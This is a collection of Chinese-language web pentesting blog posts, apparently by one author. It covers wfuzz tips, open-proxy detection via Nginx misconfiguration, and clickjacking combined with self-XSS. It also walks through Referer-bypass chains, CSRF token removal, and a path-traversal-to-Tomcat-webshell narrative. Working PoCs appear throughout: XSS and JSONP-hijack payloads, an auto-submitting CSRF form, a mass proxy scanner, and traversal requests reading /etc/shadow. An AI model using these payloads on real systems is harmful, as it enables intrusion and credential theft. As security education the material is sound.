使用wfuzz可以自己编写wfuzz插件，需要放在~/.wfuzz/scripts/目录下，具体如何编写可以参考已有的插件：https://github.com/xmendez/wfuzz/tree/master/src/wfuzz/plugins/scripts

技巧 Recipes

Wfuzz可以生成一个recipes用来保存命令，方便下次执行或者分享给别人。

生成一个recipes：

wfuzz --script=robots -z list,"robots.txt" --dumo-recipe outrecipe URL/FUZZ

使用某个recipes：

wfuzz --recip outrecipe 网络异常

Wfuzz扫描的时候出现网络问题，如DNS解析失败，拒绝连接等时，wfuzz会抛出一个异常并停止执行使用-Z参数即可忽略这些错误继续执行。

出现错误的payload会以返回码XXX来表示，Payload中还有出现的错误信息。

超时

使用wfuzz扫描会遇到一些响应很慢的情况，wfuzz可以设置超时时间。

参数--conn-delay来设置wfuzz等待服务器响应接连的秒数。 参数--req-delay来设置wfuzz等待响应完成的最大秒数。

结合BurpSuite

从Burp的LOG文件中获取测试的URL地址：

wfuzz -z burplog,"1.burp" FUZZ

还有能够读取burpsuite保存的state：

wfuzz -z burpstate,a_burp_state.burp FUZZ 过滤器

这里篇幅太长，建议综合参考 https://github.com/xmendez/wfuzz/blob/18a83606e3011159b4b2e8c0064f95044c3c4af5/docs/user/advanced.rst 就不一一写出来了。

从偶然出发

在做测试的时候发现了这样一个漏洞，原请求报文如下：

GET / HTTP/1.1 Host: attack_website [... HEADER ...] ...

当时最初目的是想测SSRF的，但是经过测试没发现存在漏洞后来想起之前看过的一些漏洞案例，将请求报文中的URI部分替换成了网址：

http://gh0st.cn

就变成了如下的请求：

GET http://gh0st.cn HTTP/1.1 Host: attack_website [... HEADER ...] ...

在BurpSuite里进行重放测试发现返回的响应正文就是 http://gh0st.cn 的，也就是说这里的attack_website可以被作为HTTP代理，于是进入下一步的测试能否使用非http/https协议进行请求？例如file:///，测试后发现确实没办法这样玩，看来是这里代理服务器不支持。

在这里替换URI部分为内网的地址，可以直接漫游内网的系统，进行深入的渗透测试了，后续的事情就不在这多说了，那么来研究看看为什么会有这样的问题呢？

从被动偶然到主动发现 了解原理

查阅了一番资料和询问了一下朋友，都说具体的不太清楚，后来看见这样一篇文章：

https://www.secpulse.com/archives/74676.html

其中所说原理大致是因为Nginx反向代理配置不当导致可以被作为正向代理，导致能被外部作为HTTP代理服务器。

正向代理 and 反向代理

正向代理

• 浏览器（/全局）设置代理服务器IP和对应端口
• 浏览器输入目标地址->代理服务器->目标服务器

简而言之，正向代理类似我们经常用到的跳板机，利用代理去访问外部的资源。

反向代理

跟正代不同的地方在于反向代理相对浏览器来说是透明的，不需要在浏览器（/全局）做什么配置，而是有反向代理服务器自己做请求转发到其服务器上所配置的地址。

大致如下的流程：

1. 浏览器访问网站（网站所指即反向代理服务器）
2. 网站（反向代理服务器）做处理，将请求转发给所设置的目标服务器
3. 由请求最终到达的目标服务器响应给网站（反向代理服务器），然后再通过其返回给浏览器

TIPs：

• 一、反向代理服务器也可以变成WAF（例如Nginx支持反代功能，nginx+lua也可以搭建网站waf）
• 二、反向代理服务器也可以起到负载均衡的作用，由反向代理服务器做选择分配Web服务器

主动发现脚本开发

脚本语言选择：python2.7

系统环境：all

思考

如何判断这个网站存在可以作为HTTP代理访问资源？唯一特征是什么？

脑子中唯一的思路就是IP，如果这目标站点能作为HTTP代理访问资源，那么我设置的这个资源就是返回真实IP的，这样就可以判断了～

这里我在团队官网上小小的写了一个，但是在大批量去测试却无法使用，因为官网的空间没那么大的吞吐量，承载不住高并发，后期建议大家使用 http://httpbin.org/ip 这个接口～

http://www.hi-ourlife.com/getip.php

PHP代码：

<?php echo $_SERVER['REMOTE_ADDR']; ?> 代码构建

Import 库

import urllib, sys, re, json

全局变量：

poc = "http://www.hi-ourlife.com/getip.php"

获取使用代理访问资源后内容（IP）函数：

def useProxy(site): try: res = urllib.urlopen(poc, proxies={'http': site}).read() return res except: return getIP()

正常本机获取IP函数：

def getIP(): res = urllib.urlopen(poc).read() return res

防止有些会出错返回的内容不是IP，其实返回不是IP也就间接证明不存在这种漏洞，所以需要写个正则来匹配，这时候判断是否是IP的函数就诞生了：

def isIP(ip): compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') if compileIP.match(ip): return True else: return False

对比IP函数：

def isVul(site): resA = getIP() #print resA resB = useProxy(site) #print resB if resA == resB or not isIP(resB): print "\033[1;33m[INFO]\033[0m No Vulnerability!" else: print "\033[1;31m[INFO]\033[0m Existing Vulnerability!" print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB) 单线程批量

从扫描器里把代码模板剥离了出来如下：

#-*- coding:utf-8 -*- #Author: Vulkey_Chen import urllib, sys, re poc = "http://www.hi-ourlife.com/getip.php" def useProxy(site): try: res = urllib.urlopen(poc, proxies={'http': site}).read() return res except: return getIP() def getIP(): res = urllib.urlopen(poc).read() return res def getSite(filename): f = open(filename) res = [] for line in f: res.append(line) return res def isIP(ip): compileIP = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') if compileIP.match(ip): return True else: return False def isVul(site): resA = getIP() #print resA resB = useProxy(site) #print resB if resA == resB or not isIP(resB): print "\033[1;33m[INFO]\033[0m No Vulnerability!" else: print "\033[1;31m[INFO]\033[0m Existing Vulnerability!" print "\033[1;36m[INFO]\033[0m Site:[ {0} ] -> RealIP:[ {1} ]".format(site, resB) def main(filename): for i in getSite(filename): isVul(i.replace("\n","")) if __name__ == '__main__': main(sys.argv[1])

END

使用方法：python proxy_vul.py urls.txt

urls.txt 格式：

http://www.hi-ourlife.com/ https://gh0st.cn/ http://mst.hi-ourlife.com:8080/

建议批量方法：

扫描所有想检测站点的web服务端口（Nginx容器存在此类问题居多），然后使用脚本检测。

前言

作者：Vulkey_Chen

博客：gh0st.cn

这是一个鸡肋性质的研究，也许有些标题党，请见谅～

本文启发于一些讨论，和自己脑子里冒出来的想法。

组合拳搭配 Self型XSS

已知Self型XSS漏洞是这样的：

相信看见图片基本上已经知道这个漏洞形成的原因了，该功能点有一个编辑预览的，输入XSS的payload就触发。

局限点在于这个漏洞是Self型(Myself)，也就是只能自己输入->自己触发漏洞。

变换思考

重新理一下这个漏洞触发的流程：

1.输入XSS payload:

<svg/onload=alert(1)>

2.触发

那么是否也可以理解为这样的一个触发流程：

1.XSS payload就在剪贴板中

2.黏贴到文本框

3.触发

也就是说在这里我只需要沿着这个流程向下拓展，是否可以让我变换的触发流程文字变成代码形式。

顺推流程

触发流程顺推为攻击流程：

1.诱导受害者点开连接

2.诱导受害者点击复制按钮

3.诱导受害者黏贴剪贴板的内容

4.顺利触发XSS漏洞

这一切的攻击流程看起来可操作性并不强，但实际上还是会有很多人中招。

搭配谁？

以上的攻击流程都需要在同一个页面中触发，那么就需要一个点击劫持的配合。

“上天总是眷顾长得帅的人”，在这里确实也存在着点击劫持的问题：

代码思考&构建 复制功能

按流程来构建，首先构建复制到剪贴板的功能：

JavaScript有这样的功能，代码如下，自行 ”食“ 用：

<script type="text/javascript"> function cpy(){ var content=document.getElementById("test");//获取id为test的对象 content.select();//全选内容 document.execCommand("Copy");//执行复制命令到剪贴板 } </script>

HTML代码如下：

<input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()">

界面如下：

问题：

虽然作为一个PoC来说，不需要那么苛刻的要求PoC的严谨性，但这里处于研究探索的目的还是需要解决问题，如果input标签的内容显示出来，那么就很容易暴露本身的攻击。

针对这类问题一开始我想到的是使用hidden属性构建为如下的HTML代码：

<input type="hidden" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()">

经过测试发现并不能成功的使用复制功能，我的理解是因为在JavaScript代码中有这样一段内容：

... content.select();//全选内容 ...

既然是全选内容那么一定要有这样一个编辑框或者输入框的存在，所以使用Hidden从实际意义上是没有这样一个”框“的。

解决问题：

在这里我选择使用透明样式来从”视觉上隐藏“标签：

<style type="text/css"> #test { /*css id选择器*/ /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } </style>

那么界面就变成如下的样子了：

注意：这里没办法使用自动复制到剪贴板，必须需要一个按钮才行

点击劫持

点击劫持之前写过一篇文章，所以就不在做讲解了，参考我之前写的一篇文章：http://gh0st.cn/archives/2017-12-20/1

构建基本CSS样式：

.testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } #submit { position: fixed; width: 614px; height: 30px; margin: 0 auto; left: 0; right: 550px; display: block; top: 640px; }

iframe框架&&输入框：

<div class="testframe"> <iframe src="https://website/New"></iframe> <input type="text" id="submit"> </div> 最终PoC <html> <head> <style type="text/css"> .testframe { height: 100%; } iframe { height: 100%; width: 100%; border: 0; margin: 0; padding: 0; /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } #test { /*控制不透明度的属性，兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性，兼容各大浏览器*/ } #submit { position: fixed; width: 614px; height: 30px; margin: 0 auto; left: 0; right: 550px; display: block; top: 640px; } </style> </head> <body> <input type="text" id="test" value='<svg/onload=alert(1)>'><br> <input type="submit" value="test" onclick="cpy()"> <div class="testframe"> <input type="text" id="submit"> <iframe id="test0" src="https://secquan.org/New"></iframe> </div> <script type="text/javascript"> function cpy(){ var content=document.getElementById("test"); content.select(); document.execCommand("Copy"); } </script> </body> </html> 最终演示

总结

比较打开脑洞的一次研究，苛刻的攻击条件其实在进行足够的丰富诱导下就会变得非常的有趣。

前言

在做测试的时候会遇见这样几个漏洞场景：

1. JSONP跨域劫持
2. 反射XSS
3. GET请求类型攻击

但是，在相对安全的情况下，都会有Referer(HTTP请求头)的限制。那么该如何去做绕过呢？

正文 什么是Referer？

Referer是请求头的一部分，假设A站上有B站的链接，在A站上点击B站的链接，请求头会带有Referer，而Referer的值为A站的链接；这也就是为什么上文所说的场景，遇见了Referer的限制就可能GG了。

绕过之道 常规绕过

一个实际场景：

先来说说一些常规化的东西：

• 子域名方式

使用子域名的方式进行绕过：

• 域名前增加

在域名前面增加随机的a-z和0-9也可以进绕过：

• ？号

将域名作为GET请求参数进行绕过：

打破常规 无Referer

之前在做测试的时候，将Referer头删除也可以绕过，但是在真正的利用中能不能去实现呢？是可以的。

在HTML标签中有这样一个标签<meta>，而这个标签是表示无Referer，就是如下的代码：

<meta name="referrer" content="never">

我原来的PoC为：

<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/test.php"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

修改之后的PoC为：

<html> <meta name="referrer" content="never"> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/test.php"> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

与其他资源组合 超链接

在上文就提到了A站有B站的链接，在A站点击B站的链接，Referer就为A站的链接了。那么在这里我能否使用白名单域下的业务做超链接，链接地址为A站存在问题的链接再搭配一个点击劫持或者诱导的方式进行组合攻击？

例如gh0st.cn做了Referer的限制：

Referer State http://gh0st.cn (Current Domain) YES http://www.hi-ourlife.cn (Other Domain) NO http://a.gh0st.cn (SubDomain) YES

实际场景：

• 公开信息对外

在个人中心处可以编辑个人的微博地址：

微博地址是对外的公开信息：

那么结合一下点击劫持或者用户常规的点击了～那就GGGGGGG了～

• 论坛

现在很多厂商都有自己的开放论坛，特别是Discuz这种很多，而Discuz回复是可以使用超链接的：

回复这样的格式：[url=u]t[/url] u部分为地址，t部分为地址名字～

URL跳转

302跳转是否可以？NO，不可以。

这里的URL跳转是JavaScript的URL跳转。

常见的两个：

window.location.href="url"; window.open("url"); 反射XSS(Referer限制)

1. 这里我已经有一个存在任意URL跳转漏洞了：

http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com

1. 我有一个反射XSS漏洞：

http://vulkey.cn/jsonp.php?callback=vulkey

当 referer = a.com :

当 referer = vulkey.cn :

当 referer = *.vulkey.cn :

这个接口验证了Referer使用之前的方法没办法绕过，于是采用组合拳搭配。

于是有了如下的构建：http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)>

JSONP劫持+反射XSS+URL跳转

这个案例是基于上面反射XSS案例的，现在已知的三个问题：

1. JSONP接口 http://vulkey.cn/jsonp.php?callback=vulkey 有Referer限制
2. 反射XSS http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)> 有Referer限制
3. JavaScript URL跳转 http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com

一般JSONP跨域劫持的PoC是这样的：

<script>function jsonp2(data){alert(JSON.stringify(data));}</script> <script src="url"></script>

但是因为有Referer限制，就不能在自己的站点上做PoC了，就只能利用反射XSS漏洞构建PoC：

http://vulkey.cn/jsonp.php?callback=%3Cscript%3Efunction+vulkey(data){alert(JSON.stringify(data));}%3C/script%3E%3Cscript+src=%22http://vulkey.cn/jsonp.php?callback=vulkey%22%3E%3C/script%3E

但仅仅如此是不够是因为XSS有Referer来源的限制，所以最终的PoC应该是这样的：

http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=%253Cscript%253Efunction%2bvulkey%28data%29%7Balert%28JSON.stringify%28data%29%29%3B%7D%253C%2fscript%253E%253Cscript%2bsrc%3D%2522http%3A%2f%2fvulkey.cn%2fjsonp.php%3Fcallback%3Dvulkey%2522%253E%253C%2fscript%253E

也就是说在这里JS的URL跳转解决了XSS的Referer限制问题，而XSS又解决了JSONP接口的Referer限制问题，这是一个联合组合拳。如果你发现的XSS没有Referer限制则不需要这么”麻烦”。

结尾

文中总结一些小的TIPS，针对我遇到的实际案例进行了漏洞的复现截图，打开思维其实还有更多更好的思路，有机会后期会写出来。

前言

坏蛋(春秋社区)跟我说要我准备议题的时候，我是懵逼的～仔细想了一下自己这么菜，能讲什么呢？

思考了很久最终定了这个标题：《我的Web应用安全模糊测试之路》

这篇议题主要围绕我做Web应用安全测试的时候所运用的一些技巧和思路。

我的Web应用安全模糊测试之路 什么是Web应用中的模糊测试？

Web应用是基于什么进行传输的？HTTP协议。

模糊测试是什么？Payload随机。

Payload放哪里？HTTP请求报文格式是什么？请求行(请求方式 URI HTTP/1.1)、请求头、请求报文主体(POST Data)。

模糊测试秘籍->增(Add) && 删(Del)

被固化的测试思维

我列出一个请求，边看边思考你会怎么测试这个请求呢？

HTTP请求报文(Request)：

GET /uc/getInfo HTTP/1.1 Host: gh0st.cn Origin: http://gh0st.cn ...

HTTP响应主体(Response Content):

{ "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" }

看到这想必你已经知道自己要测试的内容是什么了，一般来讲很多人会先注意Origin这个HTTP请求报文头，看响应的HTTP头：

... Access-Control-Allow-Origin: http://gh0st.cn Access-Control-Allow-Crdentials: True Access-Control-Allow-Methods: OPTION, POST, GET ...

如果我修改Origin的值为http://qianan.cn，返回的也是Access-Control-Allow-Origin: http://qianan.cn，那就代表着这里存在CORS跨域资源共享(任意域)的问题，具体在这里就不多说了参考我之前的一篇文章：http://gh0st.cn/archives/2018-03-22/1

这里也许会有什么匹配之类的验证，一般的两种绕过方法：

1.子域名(http://{domain}.mst.cn/ -> http://gh0st.cn.mst.cn/)

2.域名前缀(http://{a-z}{domain} -> http://agh0st.cn/)

也许到这里部分人的测试已经Over了～那么我还会继续测试下去，如何测？往下看↓

模糊测试之增 增 - 入门

观察响应报文格式：

{ "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" }

这里的格式为JSON格式，那么跟JSON有关的漏洞最先想到的是什么？

没错，JSONP跨域劫持（想科普下？看这里-> http://gh0st.cn/archives/2018-03-22/1）。

JSONP跨域劫持需要具备的条件是回调参数，而这里并没有，没有回调参数，那我就增加一个回调参数，如下是我的一份字典：

使用BurpSuite的Intruder模块，进行枚举测试：

GET /uc/getInfo?callback=mstkey HTTP/1.1 GET /uc/getInfo?cb=mstkey HTTP/1.1 GET /uc/getInfo?jsonp=mstkey HTTP/1.1 ...

终于某一条请求得到了我想要的结果：

mstkey({"id":"1024","realname":"yudan","mobilePhone":"13888888888","cardNo":"111111111111111111"})

那在这里我就可以构建PoC了：

<script>function mstkey(data){alert(JSON.stringify(data));}</script> <script src="http://gh0st.cn/uc/getInfo?callback=mstkey"></script> 增 - 进阶

除了上面所说的增加回调参数以外，还可以增加什么呢？

增加的参数和值可以分析网站数据、关联网站数据、整合自用字典与网站字段结合。

响应报文转换：

{ "id": "1024", "realName": "yudan", "mobilePhone": "13888888888", "cardNo": "111111111111111111" }

转换为HTTP请求参数 键=值 格式：

id=1024 realName=yudan mobilePhone=13888888888 cardNo=111111111111111111

初次之外还有什么？当然是使用自用字典和如上总结的进行整合：

注意一点，参数都整理好之后，对应的值采用B账号的对应值，因为这样才会有差异，才能进行分析是否存在相关的漏洞，一般加参数会存在越权问题～

增 - 深入

很多小伙伴挖漏洞的时候核心业务挖不动那肯定怼一些边缘业务和一些后台系统了，大多数人应该都遇见过这样的问题，找到了一个后台的地址点进去是管理界面，突然的有js跳转到登录界面去了，但是查看页面代码却能获取到很多的后台接口～

很多人会选择登录爆破、未授权接口使用这些常规操作类型去测试，可能测完就会抛掉了，而我之前测试某项目的时候碰见的就是当我在接口后面加上admin=1的时候响应报文返回了这样的头：

Set-Cookie: xxxxxx=xxxxxxx

给我设置了一个Cookie，我使用这个Cookie直接就进入了后台。

模糊测试之删

在这里有一处实际场景：

其流程是这样的：输入邮箱->点击修改邮箱->发送修改链接到该邮箱->邮箱打开修改链接->成功修改

明显流程就有问题，按照常的流程来说应该先验证原邮箱(手机号)再做修改操作。

点击修改邮箱按钮获取到的请求如下：

POST /uc/changeEmail HTTP/1.1 Host: ** ... mail=admin%40gh0st.cn&token=md5(token)

这里有Token保护，用来防御CSRF的，这里将token置空或者删除 键=值 即可绕过，这里是因为token并没有实际的去做校验，也就是”表面安全”。

增的组合拳

在”删”这个环节里说到了删除CSRF的token绕过的方法，但不久之后厂商进行了修复。。。

它成功的让token校验了，这里无法再使用原来的方法了，但是在这里观察请求和响应：

POST /uc/changeEmail HTTP/1.1 Host: ** ... mail=admin%40gh0st.cn&token=md5(token)

响应主体：

这里输入一个错误的或者已经绑定过的会提示输入错误，然后回显请求报文中的POST Data参数mail的值～

也就是说在这里也许会存在CSRF + POST XSS，但是因为Token问题没办法利用～我们该怎么办？

这里思来想去，只能尝试设想后台的参数接收->输出代码：

<?php echo $_REQUEST['mail'];//注意这里使用的是$_REQUEST 默认情况下包含了 $_GET，$_POST 和 $_COOKIE 的数组。 ?>

如果是如上的接收输出，那么在这里，我修改链接为：

http://gh0st.cn/uc/[email protected]

神奇的发现页面回显了[email protected]到界面上了，但是并不会去走修改邮箱，也就是说这里还是需要POST请求才会走修改邮箱流程，这里我先有了反射XSS的想法，但是奈何过滤了…

于是衍生了第二个思路搭配点击劫持～（科普一下？->http://gh0st.cn/archives/2017-12-20/1）

透明化修改邮箱界面，然后获取修改邮箱按钮位置，做一个一模一样的按钮放在修改邮箱按钮之上，诱导用户点击这个按钮实际上是点击了修改邮箱的按钮～

结尾

感谢有你，每一个你，都要活的精彩。

前言

本文总结一下漫长的渗透测试过程，想尽了各种方法，终于找到了突破口。so没有绝对的安全，所谓的安全性其实都是相对的～

信息踩点

在这里其实没办法去做一些有价值的收集，只能踩点，踩坑。

信息难点： 传输加密：

要做渗透的目标是一个APP，根据抓到的请求包发现这个APP是经过某产品加固过的，所以HTTP的POST请求正文部分(Data)是神奇的密文～

分析难点

分析：

• 信息踩点其实也是解决难点的过程，在这里我们尝试对APP进行逆向，发现并没有什么东西，因为被加固了。
• 对APP进行功能的整理，逐个功能点进行抓包分析：
  • 请求正文(data)虽然是密文，但是请求的URI还是真正按照对应的功能去请求的（参考URI的命名和功能的相对应性）

建立设想(A)：

在这里请教了师傅，说可能GET请求参数并没有经过加密，而后台很有可能是这样写的：

<?php $mstsec = $_REQUEST['vulkey'];//注意这里使用的是$_REQUEST 默认情况下包含了 $_GET，$_POST 和 $_COOKIE 的数组。 ?>

• 一点即通，首先我可以去测试是否是真的这样的后端处理接收。
• 为了满足第一步的验证，我需要想办法找到一个GET请求的包并且有带有GET参数，这样我才能判断规则，不然就是大海捞针。

有价值的东西

其实对APP做渗透测试，大部分情况下还是对网站做渗透测试。

所以在这里抓包获取到的HOST，直接对其进行了前期的常规信息刺探（端口、目录、指纹…）

中间件：Tomcat

目录开放：/fileUpload/

端口开放：8001 1444

APP三个功能点：个人用户、资金管理、生活栏目

渗透开端

一开始粗略的对整个APP进行抓包，然后做一些简单的测试，发现并没有那种明面上的漏洞（SQL注入、XSS等等…），但是获取了这几条URI：

1. /userCenter/getUser [获取用户信息URI POST]
2. /userCenter/pay/getSign?userSign= [获取Sign POST]
3. /userCenter/life/showShop?pId= [获取商品信息 GET]
4. /userCenter/showQRcode [获取二维码图片 POST]

不小心日偏

仔细的对每个功能点进行测试的时候，抓到了一些”逃出加固命运”的明文报文。

• 发现了S2-005这个历史悠久的Struts2框架远程代码执行问题：

执行了whoami：

• 发现了SQL注入，这里需要做一些简单的绕过(e.g. AandND 1 like 1)：

然而没看清楚，一下次给日错地方了…很尴尬。

关联分析

日偏后我分析了一下两者的特征，发现应该出自同一个程序员之手，并且这个程序员很喜欢使用驼峰命名法…

验证设想(A)

在这里我尝试根据每个URI功能点生成GET请求参数的dict：

• /userCenter/getUser [获取用户信息URI POST]

  dict: [uId, userId, uName, userName …]

• /userCenter/showQRcode [获取二维码图片 POST]

  dict: [uId, userId, uName, userName, imagePath, filePath, codePath, fileName …]

生成请求：

GET /userCenter/getUser?uId=10001 GET /userCenter/getUser?userId=10001 GET /userCenter/getUser?uName=test001 GET /userCenter/getUser?userName=test001 ... GET /userCenter/showQRcode?uId=10001 GET /userCenter/showQRcode?userId=10001 GET /userCenter/showQRcode?uName=test001 GET /userCenter/showQRcode?userName=test001 GET /userCenter/showQRcode?imagePath=../../index.do GET /userCenter/showQRcode?filePath=../../index.do GET /userCenter/showQRcode?codePath=../../index.do GET /userCenter/showQRcode?fileName=../../index.do ... 结论

现实残酷，打败了设想。

绝处逢生

就在想放弃的时候，决定打算”垂死挣扎”一下，重新开始”审视”了各个功能模块，眼光又转到了这个二维码地方。（因为二维码的”皮相”，所以很多人都会忽略它）

这里我去解析了二维码的地址：

失算…失算…，当去访问这个地址的时候，响应报文中会多出这样的头：

... Set-Cookie: USESSIONPID=xxx; ... jpg content

这时候我就知道是时候修改uId了，然而修改了没用，根据多年的经验（吹牛）我认为是uSign参数起了作用，这时候对uSign进行删除发现不行，会提示uSign参数不存在，当我置空这个参数，发现居然成功了又返回了用户的Cookie凭证…好吧，说明这里有一个逻辑问题…

到这下去就很简单了，获取管理员权限有上传点，测试使用jhtml的后缀可以直接绕过上传，但是上传上去之后，直接访问就给你download下来了（很多次遇到这种问题…）

好吧，管理员也没啥能危害到服务器的东西了…不过回过头再来看看，二维码这个点还没啃完呢，fileName这个参数还没去测试，fuzzdb了解一下，先怼lfi的字典进去跑（有个坑这里一定要填写完整[uId, uSign]），然后再进行Fuzz：

从intruder模块(BurpSuite)的测试结果发现这里是可以读取文件的，并且判断这个web服务是root权限运行的因为我修改fileName参数的值为../../../etc/shadow时我直接可以获取到文件的内容，从而获取root账号权限的密码：

(解密不了)，怎么通过这个本地文件读取漏洞拿到shell？我的思路是通过读取tomcat的密码配置文件然后进入tomcat的Web管理部署war包进行getwebshell，但是这里做了一圈的目录猜解，死活没找到tomcat的应用目录…

读取/root/.bash_history啊(这个文件是记录root用户输入过的命令-老师傅提醒到)，突然间我茅塞顿开，是啊，一般运维人员会通过命令行进行管理，那么肯定会有目录出现啊。

我修改fileName参数的值为../../../root/.bash_history，搜索下关键词tomcat就发现了：

成功的发现了root用户的命令历史并且找到了Tomat的应用安装路径，那么我只需要修改fileName的参数值为../../../../home/apache-tomcat-7.0.67/conf/tomcat-users.xml，直接就可以读取到Tomcat的管理员账号权限，从而直接通过外部访问的形式进入Tomcat的管理界面进行控制。

登录进来之后直接到WAR file to deploy功能点，进行war包的部署（在这里使用压缩的方式将网站后门压缩成zip格式然后修改后缀名.zip为.war即可），点击Browser选择war包然后点击Deploy：

这里部署上去之后回到Applications功能点，可以看到部署的情况，点击你的命名链接然后加上你压缩的文件名（这里我的是 /vulkey/vulkey.jsp）使用Webshell管理工具进行管理，看见了我久违的界面，久违的root权限：

总结

因为后渗透可能会影响正常业务的运行，所以没有继续进行下去，很遗憾，希望下次有机会。 END: 送给大家一句话：心细则挖天下。

前言

考验技能：黑盒逻辑思考思维

提示：http://gh0st.cn/archives/2018-04-18/1 （文中出现过这个思路）

题目链接：已经下线（密码重置）

一般来说，很多人应该先走一遍流程：

走流程

1. 验证码发送

返回包：

1. 验证码验证

错误返回：

流程分析 察言观色

如上是发送验证码请求对应的响应报文，从报文可以获取到如下的信息：

1. 后端验证验证码的方式是基于SESSION会话ID的
2. 验证码的形势是4位数纯数字

缺陷发现

四位数纯数字，爆破一下？可是问题来了~

错误三次之后就提示失效了验证码：

怎么办？这是一道考思维的题目，国内太多的逻辑漏洞的文章了，可是大多数人学习的是1:1的学习，不会变通。逻辑漏洞不仅仅存在于固有的业务逻辑上，还有代码逻辑~打开你的黑盒测试思维，任何点你都只能猜测，所以为什么不多猜猜？

文章中写过会有万能密码的存在：

测试下在这里并不存在，没有这样的缺陷，这时候你就需要考虑更多的东西，不要做个“表面性”测试的“白帽子”~

之前说了错误三次验证码会失效，但是否是真的失效了？假设没有失效只是“表面性”的输出失效呢？

思考后台代码逻辑，参考我提示中链接的文章：

在这里代入到密码重置这一环节是否有用呢？来测试下：

这里多了一线生机，因为提示了密码错误，而不是失效，那么是否能借助这个来绕过次数限制呢？

在这里你可以选择使用Python来帮助你，但我认为这完全没必要，因为BurpSuite解决了一切：

数据包发送到intruder模块，设置attack type为Pitchfork，设置好payload位置：

Pitchfork的工作模式是多组的，如上我设置了两个payload位置，使用这个模式需要两个payload的数量是一样的，发送的请求为A[1]对B[1]。

设置payload：

第一个为字符块（Character blocks）-这种类型的Payload是指使用一个给出的输入字符串，根据指定的设置产生指定大小的字符块，表现形式为生成指定长度的字符串。

第二个为数字（Numbers）-这种类型的Payload是指根据配置，生成一系列的数字作为Payload。

测试发现真实可用：

总结

黑盒测试的精华是什么？Fuzzing.

你现在掌握的思路归根到底都是Fuzzing的结晶。

在漏洞挖掘中打开你的思维，加油~

前言

这是一个理论上通杀很多大型企业网站的漏洞缺陷~

可能很多朋友点击来看见标题就觉得，这家伙在吹牛逼了我倒要看看这货能怎么吹,CSRF之登陆我的账号能有啥玩意危害？

先按奈住你心中不屑的情绪，听我慢慢道来~

通用业务功能分析

最近很喜欢挖一些通用漏洞（不是程序通用，而是功能通用），会经常拿着BAT三家以及其他一些大型网站进行业务功能点的对比，来看看有哪些是共用的功能点，这边列出以下的几条：

1. QQ快捷登陆
2. 微信快捷登陆
3. 微博快捷登陆
4. 其他……

OAuth2.0认证缺陷-快捷登陆账号劫持的问题具体可以参考：http://gh0st.cn/archives/2018-02-12/1 （来自i春秋社区）

这种问题其实需要一定的运气因为很多的快捷登陆有state参数的干扰，所以是完全没办法去利用的。

在这里我尝试能不能挖到一个新的缺陷，在走正常的快捷登陆流程时我发现需要绑定这个网站的账号才可以正常的使用用户的功能，这时候反着想网站的用户中心是否有第三方的账号绑定？

这里找了大部分的网站都有这样的功能（第三方账号绑定，绑定了即可使用第三方账号直接登陆），找到了这个功能点就可以来测试，先走一遍正常的绑定流程：

• 点击绑定第三方账号
• 进入第三方账号绑定页面
• （如果第三方账号是登陆状态）->需要点击授权按钮；(如果第三方账号是未登陆状态)->需要输入第三方的账号密码登陆->点击授权按钮

设立猜想

梳理了流程之后，一个很骚的思路就从脑子里蹦了出来：

有第三方账号绑定这个功能，登陆处也有第三方账号登陆功能，也就是说绑定第三方账号代表着权限分享给了第三方账号。

